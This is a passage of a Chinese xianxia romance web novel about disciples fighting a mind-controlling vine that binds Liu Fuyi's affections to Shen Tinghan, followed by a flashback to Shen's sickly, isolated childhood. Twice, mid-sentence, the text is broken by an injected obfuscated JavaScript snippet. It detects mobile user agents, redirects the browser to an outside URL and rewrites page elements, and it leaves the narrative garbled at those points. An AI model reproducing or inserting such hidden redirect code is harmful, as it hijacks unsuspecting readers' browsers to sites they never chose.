她已经为当年折磨他的事情知错了,忏悔了。他恨了秦欢这么久,秦欢也被愧疚和嫉恨折磨了这么久,到底还有没有谁欠谁更多。 看出玄易目光中的纠结,秦欢往椅背上一靠,前所未有的畅快:“你终于还是来找我报仇了?我等了你很久了。” 四人的目光齐齐落在玄易身上,秦欢似乎早有准备,甚至从袖中摸出一把银亮的匕首。 他想杀她,而她给他递刀。 “你是楼家最有出息的一个孩子,可是我把你毁了。”秦欢靠近他几步,匕首送进他手里,“你恨我确实无可厚非,杀了我吧,让你我都解脱。” 玄易握着那把尚有余温的匕首,心口处的旧伤隐隐作痛。他抬头盯着面前这个身着缟素的女子,恨意越发被冲淡。 她只是被人骗了。 相信一个男人,孑然一身,无家可归。 楼晏的降生,对于秦欢而言,是楼广和叶文暄一起背叛了她。 “铛——”匕首落地。 玄易下不去手。 “你恨来恨去,只是恨我爹没有从一而终地爱着你而已。” 他失笑,眼中泪涛翻滚,似乎终于能给儿时的自己一个交代。 “你根本不是恨我,只是我爹殉情而亡,你的爱恨都没了着落。不转嫁到我身上,这样浓重的情绪会压垮你。” “反正出了回春派,你我老死不相见,我不想杀你,免得要脏我的手。” 他转身走至四人身后不愿再和秦欢掰扯纠缠,由顾元香和阮长风陪着他。人影交叉错落,柳伏意与沈听寒互望一眼快步上前,问些与缠心藤息息相关的真相。 二人并肩立在秦欢面前,两张各自出彩的脸在她面前倏然放大。 柳伏意问:“缠心藤怎么毁?” 沈听寒问:“藤花毒怎么解?” 秦欢顿了顿,回答道:“我不知道怎么毁。但是藤花的毒,只要喝下‘树’的血就可以解。” 沈听寒似乎没听过此类秘闻,蹙了蹙眉进一步问道:“树?” “藤缠树才可活,缠心藤自然也有心甘情愿充当大树的宿主。” 闻言,许久没发言的阮长风凑了上来,亮出自己割血留下的伤疤:“我割了血喂了藤还摘了花,我算树吗?” 秦欢摇头,她大约辨认出阮长风的细微动作和方才来的那人很像,提示说:“回春派内称得上树的,可能只有黄渊一人。你们想解毒,不妨先杀了他试试。” 目前看来,倪黎之死、缠心藤、舔狗传说,都与黄渊脱不了干系。 顾元香一听到黄渊的名字,脑子里现有逻辑一串,突然想到一个很恐怖的假设。 “不是我说啊,有没有可能陈家害人的内鬼也是黄渊啊?你看,倪黎之死、舔狗传说、饲养缠心藤,都跟黄渊有关。而且黄渊还是陈怀春的弟子,日夜不都在跟前侍奉着!他要是掺进去几朵藤花,陈家长老怎么会起疑心呢?!”她语速极快,说到后面都差点咬了自己舌头。 几人的目光同时被顾元香吸引,时值半夜,秦欢便也只是微微笑了,做手势送他们出去。 如何驱邪除妖,如何解毒救人,都不是她关心的事。 禅房内的灯熄了,一如他楼家两代的恩怨到此为止。 出了房门,柳伏意拔剑立在树前,回眸递给四人一个眼神。 四人默契十足,后退数步。 柳伏意提剑挥向玉兰树,预想中的爆破声和轰然倒塌都尚未发生。四人在飞沙尘土之中睁眼满面沧桑,见她正叉着腰,一手撑着剑一手挠了挠头。 她扭头看向玄易:“这是你娘坟前的树啊,砍了不大好吧?” 玄易低头,目光左右游离片刻,随即深吸一口气,压低着嗓音朝她吼出一句:“我娘都没了你还有功夫管树!!” 顾元香思来想去也觉得有道理,往前靠近几步蹲下,口中念念有词:“也是啊,我记得之前师祖还给过我一张缩小符,我把玉兰树连着缠心藤一起缩小,咱们再把这白藤拆下来不就得了。” 正好,那棵小树还能带回灵剑派给玄易做个念想。 顾元香翻着包裹,柳伏意也不急,她到清风阁门口把守着,和沈听寒并肩望了望月色。 清辉无垠如水如波,是个好睡觉的天气。 “顾元香!!躲开!!” “糟了!”柳伏意暗道不好。 他们身后陡然响起阮长风的吼叫之声,紧接着柳伏意便大步冲进内院之中,只见那株缠心藤似乎是察觉到危险不断靠近,满树藤枝犹如有灵,猛力向顾元香的背影刺过去。 柳伏意旋腕将剑掷过去,凌风盛势擦着顾元香的肩堪堪掠过,替她卷断直击背部的数根白藤。 顾元香连忙爬起身朝玄易和阮长风的方向冲过去,只待她离开半步,玉兰树根便翻土而上,将她整个人钉在原地动弹不得。 “师姐!!” 柳伏意二话不说近身施救,一手顾着挥砍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228920|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞身而来的藤枝,一手扯着顾元香的手臂。 然而那树根看样子有些道行,将顾元香的腿死死捆住毫不松懈。 “大师兄,过来放火把这树根烧了!”柳伏意忙着应付一藤一树实在分身乏术,随手从腰间摸出数张火符洒落满地。 阮长风一时呆了,“噢”了一声便急忙抓了几张火符铺在顾元香脚边石径上。 他小心得很,一点儿都不敢逾越雷池。 柳伏意的火符灵力充沛,一旦点燃威力也不容小觑,冲天的火苗窜起立刻烧了他额前几缕碎发。 阮长风顾不得旁的,先将烫手的火符往顾元香脚下一丢,看准时机树根一退便两手提着顾元香的肩膀,直直地将她从土里拔出来。 不等几人松一口气,落在地上的一根藤枝已经越过柳伏意的挟制,冲顾元香后背的心口处猛猛扎过来。 阮长风脸色大变,一时只得将她的后背偏开,眼看着却是来不及。 顾元香剑到用时方恨没带,正估摸着是不是要缺胳膊少腿儿了,身后一道刚猛强劲的灵力便瞬时喷薄而出,余波将她和阮长风全都吹了出去。 机关的咔咔声在耳后响起,阮长风察觉到背后卷来的灵力终于舒了口气。 沈听寒和玄易一人扶起一个,抬头便见莹蓝色灵力幻化而出的獬豸木口獠牙,一口咬断几根粗大狂暴的藤枝。 顾元香适时回过头去,碰巧看见那木雕的机关替她摆平了身后要命的白藤。 这獬豸的模样她也有印象。 是阮长风在云州送给柳伏意的。 “还好我师姐把你送的护身符带上了,不然我这条小命就危险了。” 阮长风倚着沈听寒同样松了口气,还好当年做了足够多的机关法器,不然遇到这种情况他真是无计可施。 阮长风的灵力不仅掀飞了无数藤枝,也把正与缠心藤搏杀的柳伏意冲了个猝不及防,一头撞在了玉兰树上。 满树玉兰花如蝶纷飞,清甜馥郁的花香几乎弥漫整个清水阁。 柳伏意揉了揉磕出血色的额头,神智突然有些不大清醒。 “你不是接了田大洪的藤花吗?杀了我,他要跟我一起死。”男声妩媚动人,仿佛勾人心魄。 她旷然无物的识海中,缠心藤已变为英俊男子的样貌,柔情款款地哄着她停手。 “那是他该死!”柳伏意咬牙切齿,尽全力握紧了天命剑。 然而无论她嘴上怎么说,一想起田大洪这个人,柳伏意就好像中了邪,肢体动作都变得温柔诡异。 像是……跪服在一人脚边,声泪齐下,祈求垂怜。 而那藤枝也不再刚硬,软得像无风自动的发丝,轻柔地绕过她的脖颈,抬起她的脸。 异香满园,四人及时堵住了鼻子。 柳伏意断然不会因为一次磕碰就停下攻势,沈听寒眸光倏尔阴郁,几乎猜出来龙去脉:“她中了藤花毒,缠心藤一定在干扰她的神智。” 玄易与阮长风两道目光直奔着顾元香去:“就你知道缠心藤,你想想有什么办法啊!” “等等等等!!有人来了!!”顾元香被摇晃的头晕想吐,一眼瞥向清风阁门口,好死不死站着个膘肥体壮的大家伙。 这人,其他三位更熟。 这不田大洪么。 “坏了!师姐接了田大洪的藤花,效果几乎和中了情人蛊一样,田大洪疼她更疼,他要是死了……”顾元香咬着牙,脑中霎时一片空白。 缠心藤杀有神兵护体的柳伏意很困难,但搞死一个田大洪,就像碾死一只蚂蚁一样简单了。 “等等!我有办法了!” 顾元香盯着沈听寒挑了挑眉,笑容愈渐大了。 52. 缠心藤(十二) 顾元香左右拽了一把阮长风和玄易,伸出手来道:“把你们的保命符什么的全都放在他身上,让他去摘藤花!” 话音甫落,阮长风和玄易面色不由沉了下来。这发狂的藤花带着一棵造孽的树动不动就要杀人,现在让沈听寒去血祭摘花,怕是真的会死无全尸吧?! “姑且不说沈听寒能不能摘到,就算摘到了又能怎样呢?”阮长风说话间已经把空间袋里尽可能多的护身小法器都塞进沈听寒怀里。 玄易思来想去把手上一直带着的镯子也套给他了。 “虽然没什么实用之处,但陪伴我很久,给你做个象征意义也不错。”玄易说完,极认真地望向顾元香,听她讲她的摘花战略。 “哎呀,既然藤花和情人蛊原理相似,那咱们就干脆赌一把效果相同!中一朵花的毒和一把花的毒强度肯定不一样啊,那田大洪和沈听寒之间她肯定更爱沈听寒啊!”顾元香推着沈听寒往那根张牙舞爪的树旁去。 阮长风黑了黑脸,却也不加阻拦:“你拿你师姐当蛊养啊!?出事了怎么办?” 顾元香一把将沈听寒推进危险地带,也顾念着他会遍体鳞伤格外狼狈,特地回过身来不再去看。 她站在阮长风对面,打量着他的神色来猜测沈听寒的情况。 凡是涉及到柳伏意的事情,沈听寒就不可能掉链子。 阮长风瞠目结舌,见他这番表情,顾元香狐疑地转过脸去。 只见沈听寒走步灵活,避开四面八方而来的藤枝。他脚步刚一站稳,扇面划破手掌,数滴鲜血落在陈旧的泥土之中,自下而上流淌过整株缠心藤。 “这家伙身法这么强!?真是扮猪吃老虎啊。”玄易挠了挠光头,和元香阮长风站在一道看热闹。 他对待扑面而来的藤枝并不客气,两手用力一撸落下整枝的藤花。沈听寒迅速俯身收齐了,抿了抿唇,闪身来到柳伏意面前。 她紧蹙着眉,额前渗出丝丝细汗,见了鬼似的瑟缩在角落里喃喃自语。 注意到柳伏意的状态更加不对,外面三人才忽然想起来田大洪仍然在场,他愈发靠近,柳伏意的意识就越被缠心藤干扰。 “把他带走!”顾元香低声吼道。 身后阮长风与玄易接了令双双飞身而出,一人一边抬起体重不轻的田大洪便往随便一个方向盲冲。 “你不喜欢他,喜欢面前这个人,对不对?”缠心藤诱惑勾人的嗓音仍然在继续,柳伏意只当它故意坏她心智,始终一言不发静心背书,恨不能在识海中把它的幻象驱逐出去。 清心断欲的心法背了一轮又一轮,却根本都驱散不了藤花的毒性。 她鬼使神差地睁开眼睛,满树血红艳丽的藤花之前立着一个人。 沈听寒? 顾元香也不知为何,沈听寒迟迟没有把满怀的藤花送给柳伏意。 夜明珠华美的光芒为沈听寒的脸庞镀上一层温润的柔光,他满眼担忧地望着她,一颦一笑俊美无俦。柳伏意心底暗骂几句,激增暴躁的心跳完全瞒不过缠心藤的监视。 “你不是恨天命吗?你从小到大的愿望难道不是躺平当咸鱼?既然现在的生活不符合你的预期,那我帮你摆脱有什么不好?” 缠心藤缠住她的神智,逐步深入。 “柳伏意,别再回避自己的心了。” “你一个号称清律的无情道修士,不是已经为他屡次破戒了吗?” 她还在挣扎,闻得耳旁炸响顾元香的怒吼:“你磨蹭啥呢!给她啊!情人蛊要真靠意志能挺过去还算什么蛊啊!?” 沈听寒咬了咬后槽牙,单膝跪在柳伏意面前,将他怀中的藤花悉数放在她摊开的掌心。 “对不起。”他垂首。 数朵藤花化为缕缕灵力融入柳伏意的骨血,爱沈听寒一瞬间仿佛成为写进她血脉中的宗旨。 意志被压过的须臾之间,柳伏意的表情顿时从严肃清冷转变为两眼放光,崇拜的眼神盯得对面的沈听寒莫名都有些发虚。 “伏意?你还好吗?”他将柳伏意扶起来,一手探上她的脉搏。 除了心跳过快,没什么古怪之处,约莫是缠心藤的毒发作也需要一段时间,因而到此时她的身体还没受什么影响。 他思绪神飞的片刻,柳伏意转而伸手覆上他把脉的手,另一手抬起,冰凉的食指轻轻柔柔地抚开他紧锁的愁眉。 沈听寒:“……” “听寒,皱着眉头都不好看了。你有什么烦恼的事情,说出来我帮你嘛~对我笑一笑好不好?” 沈听寒表情复杂尚未作答,反倒是顾元香的笑声震天响。 “哎哟喂,我从来没见过师姐有这样……呃,娇媚的神态,沈师兄有福了哈~” 她刚说完就收获沈听寒的一个眼刀,只能顾左右而言他,佯作伸个拦腰往后撤了撤,让他俩回归二人世界。 柳伏意本人的意志如何,沈听寒摸不清。但当下要紧之处便在这缠心藤与玉兰树。 他不动声色地避开柳伏意黏着他的身体,说话都有些不利索:“那你能不能帮我把缠心藤和玉兰树一起毁掉?” 现如今她受大捧藤花毒的影响,毒性一猛,除了沈听寒的话其余的什么都不放在眼里,选择性地忽视。 凡是沈听寒开口说的,她无论是抛头颅还是洒热血都要为他做到的。 柳伏意先是甜腻腻地微笑颔首,拽着他的手晃了晃,朗声凑近他道:“好啊,只要你能开心起来,就算把整个回春派毁了我也眉头都不皱一下!” 她将他引出这片危险区域,每走一步都十分细心,任凭什么断掉的藤枝落下的飞花想要沾染沈听寒都会被她一剑劈得稀烂。 沈听寒无奈叹了口气,补充道:“那你多加小心。” 他站在顾元香身边,顾元香抱臂和他肩并肩。两道目光齐齐看着柳伏意更加有力的动作和更加张狂的灵力,不由都陷入了沉思。 “这个缠心藤还真是很神奇……师姐只是听了你一句话,竟然连灵力和体力都大幅恢复回去,比你这些天起早贪黑地配药熬药做饭快多了。”她捏着自个儿的下巴,瞥见一旁的沈听寒表情很是难看。 顾元香不解,索性直接问出口:“你不是喜欢伏意姐的吗?怎么她接近你,你反而要拒她于千里之外。” 沈听寒始终凝着柳伏意飘然灵巧的背影,语调深沉,掩不住的失落。 “柳伏意这个人啊,要强又变扭,绝对不会对任何人说出这种腻歪的情话。”他轻笑着,“不是出于她本心,我干嘛占她便宜呢。” 顾元香听完深深输出一口气,偏头道:“你怎 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柳伏意横挥一剑将整棵树拦腰斩断,玉兰树跌进火海,缠心藤数千藤条都不甘地举起藤枝,却被柳伏意的缚灵阵法压得动弹不得,只能活活被泛蓝的火焰烧的神形俱灭。 顾元香走近,望着已经烧焦的藤条,两条秀眉蜿蜒成川:“不怪玄易和阮长风猜测缠心藤是以人为容器饲养的,这个藤条这么粗……现在烧焦了就好像是被烧死的人一样……噫,好瘆人。” 沈听寒低头,脚边两条鲜嫩细小的藤丝迅速游走,一刻不查便再难追寻。 他回头,身后几尺之地,柳伏意并没有想追藤丝的想法。 她收了剑小跑几步来到他身边,仰着脸抿唇一笑。白皙的脸颊上沾着点点飞灰,肤色在夜色中更显灰暗,然而那双灵动的眼瞳仍然明亮放光。 顾元香偷笑几声往前迈了几步,将好拦住运完人回来的阮长风和玄易。 “哎?干嘛赶我们走啊?结束了吗?”阮长风被顾元香推着,瞥见她身后,柳伏意正拉着沈听寒的手,头几乎要靠在他肩上。 玄易自然也将一切收归眼底,都不用顾元香把控他,立刻猫着身子压低了嗓音凑到她脸旁:“这是咋回事啊?真的爱上了啊?那这个毒还解不解?” 顾元香大大地翻了个白眼:“要不说你俩不懂啥叫爱呢,人家沈听寒根本都不屑占心上人的便宜。” 沈听寒被柳伏意拉着,一双水汪汪的眼里写满了期待。他一语不发,想跟上顾元香他们的脚步,却被柳伏意扯得走不出半步。 “你没什么话跟我说嘛?”她嗔怒,其实心思早就写的满脸都是。 沈听寒无奈扶额,在三人时不时回头偷窥之下,温声哄道:“你很厉害。” 她踮脚,盯着他的眼睛,依旧笑意昂扬:“那你喜欢我吗?” 柳伏意一句话好似平地炸春雷,早已走出一段距离的三人脚步一顿,几乎是使出浑身解数各自寻了一处方便听墙角的位置蹲好。 柳伏意注意到了四面八方悉悉索索的小动静,但她并不在意。 反而唇边笑意更深。 “说啊,喜欢我吗?” 沈听寒别开脸,深吸一口气平复他快要冲破胸膛的心跳。 真心情动,难掩难藏。 他无奈,扭过头来,面前夜风拂过,吹乱她的长发。 “嗯,喜欢。” 53. 缠心藤(十三) 月色清雅如尘,铺洒满地清辉。回春派遍地绿木白藤,微风送香,惬意缠绵。 顾元香和阮长风玄易并排走在前头,夜灯将三人的身影拉的颀长。他们偶尔回过头去瞟一眼,又被沈听寒难得凶悍的眼神怼回来。 柳伏意现在可谓是满心满眼只有沈听寒。 她双手抱着沈听寒的胳膊,他走一步她才跟一步,莹润的双眼中只倒映出他精绝昳丽的眉目,其余一切都视若无睹。 每说一句话,都是蜜里调油。 五人回到栖山阁夜已深了,顾元香卸下背上两个包袱,推开门来伸了个懒腰。 “终于能睡觉了,昨天没睡好,搞得我今天腰酸背痛的。”她扭头看去,阮长风和玄易已经各自回房,四仰八叉地躺在不大的软榻上,一点儿不讲究。 而她房间旁边,柳伏意并未回房,牵着沈听寒的手难舍难分,将下巴搁在他肩上,缠着他硬要再呆一会儿。 还别说,真有热恋道侣的那股缱绻劲儿。 片刻后,顾元香后头两间房同时探出两颗头来。 “沈听寒得美死了吧?”三人脑袋垒在一起,躲在顾元香房门的门扉后看热闹。 柳伏意此时全然没有平日里端方持重清冷矜贵的气韵,软着语调尽是撒娇。沈听寒哪见过这种场面,她说一句话,他脸就要红一红。 惹得门后三人忍不住捂嘴偷笑。 “天色晚了,我就在旁边啊,回去早些休息好不好?”他本就舍不得跟柳伏意说重话,现在语气只能是更加软和温柔。 柳伏意照样眨了眨大眼睛,唇角扬出一个好看的弧度:“可是我们小时候不是一直一起睡吗?为什么现在长大了你反而要躲着我。” 什么!? 话音方落,片刻须臾,阮长风玄易顾元香一哄而上,二男一人一边将沈听寒扑倒压住,扯着他的胳膊恨不得把它卸下来当棍子使。顾元香钻空子双手揪住他衣领,声调高昂咬牙切齿:“畜生啊你那么小就不做人了!?” 柳伏意笑语盈盈地望着面前堆叠成山的四人,听见最底下传来沈听寒气虚沙哑的辩白。 “不是啊……从前也是我睡床上她睡房梁上,而且当时她来找我只是逃避练功啊!!”他一人一脚踹开阮长风和玄易,抬手喘了一大口粗气,将顾元香从他衣襟上扒拉下来,“心真脏,七八岁的年纪能干什么坏事。” 他在三人的压迫下艰难起身,一贯精致正经的姿容被搅乱,发冠的绶带垂在胸前,碎发阑珊,尽显风流。 柳伏意向前一步,将他乱了的发带摆正。 “沈听寒~睡个好觉。” 她笑容颇甜,主动给了沈听寒一个短暂的拥抱。 顾元香张了张口,小声同另外二位道:“要不然今天你俩守着房外我守着房内?” 沈听寒说的没错,柳伏意现在中毒太深神志不清,的确需要早些解毒。 “要不你直接再易容成张通天,摸去黄渊房里给他一刀得了。” “喂!我要是有伏意那个身手我就去了!我万一没刺到黄渊还被发现了不是等着被斩首吗?”阮长风推了一把玄易的光头,暗恨他出这样的馊主意。 三人你一言我一语地抬杠,再一扭头柳伏意已经回房歇息了。 沈听寒在原地驻足,看样子所受的刺激一点不小。 玄易适时地伸手去搭他的脉,在阮长风和顾元香的审视之下勾了勾唇,笑得格外邪性:“听寒,给自己备服降火药吧。” 顾元香笑了笑:“还用你把脉?脸都红到脖子根了。” 沈听寒暗暗叹了口气,目光在三人幸灾乐祸的表情上略过去,变扭地走回房间去,大力将门甩上了。 “哟,恼了。”玄易笑道。 长夜漫漫,沈听寒房中彻夜燃烛,他洗漱过后便在榻上静坐,脑中时刻不间断地重复柳伏意的一举一动。 她中了藤花毒,并非不像她,反而……很像小时候的她。 开心就是开心,喜欢就是喜欢,不会掩藏,不会在意别人的眼光。 原本他自认为是最了解柳伏意的人。 传闻中的灵剑派继承人,剑道翘楚,万千盛名加身,常人能幻想的一切于她而言似乎是唾手可得。 而她要求不高,只想要自由罢了。 他思绪越来越远,时至深夜,陈旧的木门下传来翕动声。他轻抬长睫循声看去,一根细小的藤丝从门缝中钻出来,像一只生了灵智的蚯蚓,直直朝他游过来。 藤丝体积虽小,但却保留了缠心藤蛊惑人心的本事。 它靠近他,圈圈缠上他鞋袜。 “被意中人放在心上的感觉好吗?” “只要你同意让我上你的身,那她就不会因为藤花而死……她会一直一直陪着你,爱着你。” “我为何要找你?因为你对她的执念,超越了秦欢对楼广,黄渊对倪黎。” “怎么样?” 烛火映照着沈听寒凉薄化冰的眉目,他浅浅垂下眼,昂了昂下巴,轻狂又不羁:“好啊,我当然也想让她永远爱我,只爱我。” 藤丝得到首肯,妖与人之间因为一句话而产生天然的契约。藤丝从他脚腕上交叠而上,爬过大腿,越过四肢,最后停在手腕处,卯足了劲儿挤开皮肉钻进血管之中。 沈听寒亲眼看着皮肉被割开,疯狂的藤丝迅速在他血管内蔓延生长,绿色的藤枝汲取他的血液逐步染成可怖的猩红色。 片刻之后,手腕上那道血肉模糊的伤口被丝丝白藤从皮下缝合,鬼斧神工精巧细致,像是带了一条紧致的藤花手环。 浑身各处的血管肿胀又瘙痒,他只静静忍着,等待缠心藤对他的攻心之策。 寒夜寂静,孤寂无言,于他而言是数十年如一日的家常便饭。 约莫是后半夜,他在榻上躺好,周身血液似乎不再流动,缠心藤已经给自己寻好了最佳的寄生之所。 毒素顺着筋脉而上,一时之间席卷他整个识海,以至于他能看到他的过去。 准确来说,是他和当年衡阳长老座下小弟子柳伏意的过去。 他儿时因为先天病弱被父母抛弃在东瀛山下,恰逢衡阳真人游历而归,看他实在可怜将他捡回山上。 可惜他并没有武学天赋,况且体弱多病时常咳血,即便是上好的灵药吊着也是一副命不久矣的倦态。 寄雪堂终年飘雪,出入求见衡阳的无一不是仙道能人,一身灵法除寒存热,丝毫不将见了鬼的极寒天放在眼里。 沈听寒只能在冰天雪地之中,裹着并不合身的大氅,浑身贴满保暖符,才能熬过变本加厉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259978|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风雪。 衡阳为了他的身体着想,常年将他锁在药师堂中不见人烟。沈听寒六岁起便成天成夜地面向满室的药罐子、稀奇古怪极为苦口的灵药,和被开膛破肚制成标本的各种灵兽。 活着,似乎也没那么好。 他在药师堂像服了数年的禁闭,为了保存价值不菲的珍稀药材,药师堂连明火都少见。 天色一暗,四处漆黑。 年幼的他冷情冷性看谁都不爽,但放眼整个灵剑派他最讨厌的人,还属柳伏意。 小师妹是他拜进衡阳门下见到过的第一个同门,十分的不听话,十分的聒噪,十分的自我。 衡阳平日里将药师堂的门锁着,偏偏被柳伏意拿着一把圆润肥硕的小木剑一下劈开。风雪从她背后呼啸着闯入药师堂,将满架刚制好的灵兽标本吹的东倒西歪。 小女孩见到他的第一眼,扫过满地七零八落的动物尸体,嫌恶的表情藏都藏不住。 “噫……成天呆在漆黑密室里解剖灵兽,也太阴暗了吧?难怪师父把你锁起来不让人见呢。”柳伏意像模像样地把小木剑挽到身后,自来熟地往沈听寒身边一歪。 寒风惹得他身子发颤,一俯首,于掌中又咳出一滩浓血。 这家伙是诚心来气死他的吧。 柳伏意探头望着他手心里一汪血红色的小池,从袖子里摸出一块不太干净的手帕塞给他:“哝,擦擦。” 那手帕褶皱不堪,更莫论那帕子上不知是何成分的水渍和暗黄的灰尘痕迹。 沈听寒紧皱着眉头满腹牢骚话,翘着兰花指格外嫌弃地把那块帕子甩到火炉里去了。 “你应该还不认识我吧?我叫柳伏意,你是沈听寒沈师兄对吧~你还挺特别的,师父座下就你没学剑道。” 沈听寒起身睨了她一眼,没好气地重力将门甩上,青天白日,药师堂内又恢复一片幽暗。 也只是一瞬。 柳伏意手中燃着火符,往沈听寒面前凑了凑:“我新学的,用来照明很不错吧。哎,我要是能更厉害一些就好了。” 沈听寒寻了个更加阴冷的角落坐下,寒夜之中呆久了,柳伏意和她的火符一样只会给他带来不安。 贸然闯入的灼热只会烫伤他罢了。 沈听寒隐没在阴影里,若有似无地勾着唇,毫不掩饰话里地的讥讽和轻蔑:“你已经是这一代的天才少女了,健康的身体、同门的艳羡、超然的修为、师父的宠爱,还有什么好不满足的?” 柳伏意端着他的杯子,嗅了嗅杯中残留的药渣,难闻得皱起脸来像个小老头。 她被灵药熏出眼泪,也不知是真傻还是装傻,两只袖子胡乱擦干了脸,笑呵呵地奔他而来,扯住他的袖子摆了摆。 “嘿嘿谢谢你夸奖我,不过我也没有你说的那么好啦~我们一起出去玩吧,你这个药师堂味道好大,我不喜欢。” ? 这听不懂人话的丫头是哪里来的。 沈听寒讨厌与人接触,对柳伏意却算是他第一次主动——他笑都笑不出来,跟着柳伏意走至药师堂门口,趁着她先迈出门的那一脚空挡,使劲把自己的袖子从她手中拽出来。 “呵呵,我也不喜欢。” 随即“砰”地一声把门甩上。 “滚开!别再来烦我。” 54. 缠心藤(十四) 赶走柳伏意不久,他第一次试着走出药师堂。 屋外和屋内全然两个天地,尽管一样的严寒,但天高云淡,绿树成群。气息喷吐之余,感官旷然神怡。 沈听寒奔跑去往寄雪堂的茫茫雪路上,心满意足地看着他的脚印在清虚峰留下印记,然后被雪再次掩埋。 死也不可怕,但从头至尾蜷缩着活,比让他死还要痛苦磨人。 寄雪堂合着门,沈听寒本想躲起来吓衡阳一跳,让他亲眼看着自己哪怕离了药师堂满屋的灵药也能活蹦乱跳。 谁知一门之隔,他听见衡阳沉重的叹息声。 “听寒那孩子,没有同情心,我很难想象一个孩子为何才七岁就比许多邪修还要冷漠。他杀灵兽,扒皮放血,连眼睛都不眨一下……” “都说了山下的孩子不要捡,这下好了,捡了个恶童回来,成天消耗灵药,也不知道他那赔钱身体有没有福气消受好。” “莫要胡说,救人一命也是难得。只是他这个性,实属阴暗,我无力教化他,实在不行便只能……将他关到死吧。” 天好像陡然凉下来了。 他不记得当时是怎么走回药师堂,怎么把自己锁在屋里寸步不出。 他是一个人,但活得像笼中雀。 不如他找机会毒死几个人制造恐慌,趁机逃下山好了。堂堂灵剑派的长老,也不会为损失几十株灵药大费周章地找回他这个麻烦。 他读了很多医术,做了数不清的毒药,然而药师堂终年无人踏足,沈听寒一时不知这些穿肠毒药除了送自己上路还有什么别的可能。 可人算始终不如天算,连他都觉得药师堂凄苦一片,像个牢笼,但总有人能找到犄角旮旯里几个被荒草埋住的狗洞。 他像模像样锁着的门,也被不速之客一剑挑开门闩,然后光亮侵入,夺走属于他的黑暗。 “怎么又是你?”沈听寒把玩着一小罐毒药,唇边勾着冷到极致的浅笑。 找死的人,这不就送上门来了? 一个活泼耀眼到让人心里发刺的天之娇女,吞下一颗毒药,疼的穿肠凿肚,血脉喷张,什么细腻白皙的肌肤最终都会泛紫,像长久被水浸泡一般皱的难以入眼。浑身的肌肉自从服下毒药的那一刻起就开始萎缩,毒性越强,越是腐蚀血肉。 她这么漂亮,一颗毒丸下去,也就是一副枯骨套人皮。 柳伏意坐在他对面双眸明亮,从怀中掏出尚且泛着热气的甜豆包:“嗨哟,这可是我特地拜托下山的师姐从渝州带的,现在还热乎呢。我想你肯定没吃过,带给你尝尝。” 她展开牛皮纸,拣出一个来狼吞虎咽,甜腻腻的香味闯进沈听寒鼻间。 确实比他吃的这些药好闻多了。 柳伏意见他只阴沉着脸盯着她一言不发,索性在袍子上把手擦了擦,拿起另一个甜豆包上前,一手按着他脖颈一手将吃食塞进他嘴里。 “你老这么见外干什么,大家都是同门,带点东西给你吃不是很正常的吗?” 沈听寒嚼了几下,的确很甜。 因为一个甜豆包,他算是原谅了柳伏意的不请自来,收起了手中那瓶精致小巧的毒药,转而用一个更加温和的方法切入:“听说外面很有趣。我从来没出过药师堂,不如你带我出去玩一会儿?” “好啊~我早就说你应该出去转转的嘛,成天跟这些药石灵兽呆在一起难免心情不好,心情一不好脾气就更差了。我来看你两次,你都没对我发自真心地笑过!” 她的话一旦开始就收不住,从药师堂到清虚峰山下,几乎都是柳伏意的呢喃自语,沈听寒只在她长久的静默时才会回应一个短暂的“嗯”。 他不理解,柳伏意成天泡在人堆里,怎么还有这么多话要讲。 趁着她贪玩,沈听寒转身就溜了,躲在一处草垛里,任她怎么喊怎么找也不出现。 等周边空无一人,他尝试走出东瀛山,却被一道无形的封山阵法拦住,只能忍着满腔不甘怨愤,拖着疲惫不堪的躯体再次爬上山路。 药师堂内灯火通明,昏黄的烛火给室内布上一层平易近人的温馨。木门大开,从远处便能望见里面乱七八糟的兽皮尸骨都被收敛,门内立着两个人影,一位是衡阳,还有一个身材矮小的,就是柳伏意。 她跪在地上,双手举过头顶,衡阳句句训斥她,每骂一句,戒尺便随之落在她掌心。 沈听寒慢慢靠近,二人的争吵声愈发清晰。 “你真是长本事了啊?我是不是早就说过不允许你们私自进入药师堂接触沈听寒?!你不但不听话,三天两头钻狗洞,还把人给弄丢了!他身体那么差,万一活不过这两天怎么办!你给他赔命吗!?” 柳伏意的双手已经血肉模糊,紧咬着唇不肯让眼泪掉下来。缓了片刻行事作风反而愈加刚猛,心一横,便是盯着衡阳据理力争:“凭什么不能接触他?他什么都没有做错为什么要把他当犯人一样关着守着?” “哼,他要是真的觉得生命比自由更重要,那他就根本不会跟我出去啊。是师父你太贪生怕死,才以己度人觉得谁都和你一样想好死不如赖活着!” “臭丫头你说什么!” “别打啦师父,我错了还不行吗!” 沈听寒的脚步顿在屋外,黑发被雪染的纯白。 他自以为是柳伏意傻才任他摆布。原来是她一早就知道他想逃,故意给他一个机会,和一个现成的替罪羊。 “师父,别打她了,徒儿知错,不会再跑了。” 沈听寒迈进药师堂,满身寒气冲淡屋内一老一少的针锋相对。 他身姿笔直,迎着衡阳的审视,略微侧头,瞥见柳伏意的双手已经鲜血淋漓。 受了伤的某人眼眶里尚且蓄着泪,满面不解地看着他,口型似乎在说…… 你回来干嘛? 他又舍不得打死我。 “……” 衡阳以灵力为他驱了寒,左右检查了他没受什么伤,才肯叫柳伏意站起来。 